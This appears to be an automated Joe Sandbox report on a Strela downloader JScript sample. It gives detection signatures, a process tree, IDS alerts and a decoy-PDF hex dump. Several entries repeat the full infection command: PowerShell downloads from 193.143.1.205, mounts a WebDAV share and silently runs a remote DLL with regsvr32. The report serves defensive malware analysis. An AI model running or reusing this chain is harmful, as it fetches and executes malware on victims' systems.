Edit tour

Windows Analysis Report
3097128047142338539.js

Overview

General Information

Sample name:	3097128047142338539.js
Analysis ID:	1588548
MD5:	9a01fa373356817c836276e99919ea65
SHA1:	c0c44825b2eee506110313aaa82f1a7ace4a1127
SHA256:	423882deae04f9ada959bb32e24f3c899fc4aa3a471652250c54fa8c5290e708
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7896 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7984 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 8040 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7228 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2352 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,7262053184488957901,7837497832491367870,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7308 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7524 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2944 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7896	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8040, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8040, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ProcessId: 7896, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7524, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49707

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7896, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7896, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7896, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7896, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7896, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ProcessId: 7984, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ProcessId: 7896, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7984, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 8040, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7308, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7524, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2944, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7308, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7524, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7896, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll, ProcessId: 7984, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:17:17.094837+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:17:19.275544+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49707	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:17:17.094837+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 3097128047142338539.js

Virustotal: Detection: 8%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 3097128047142338539.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 3097128047142338539.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.8:49706 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49707 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:17:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

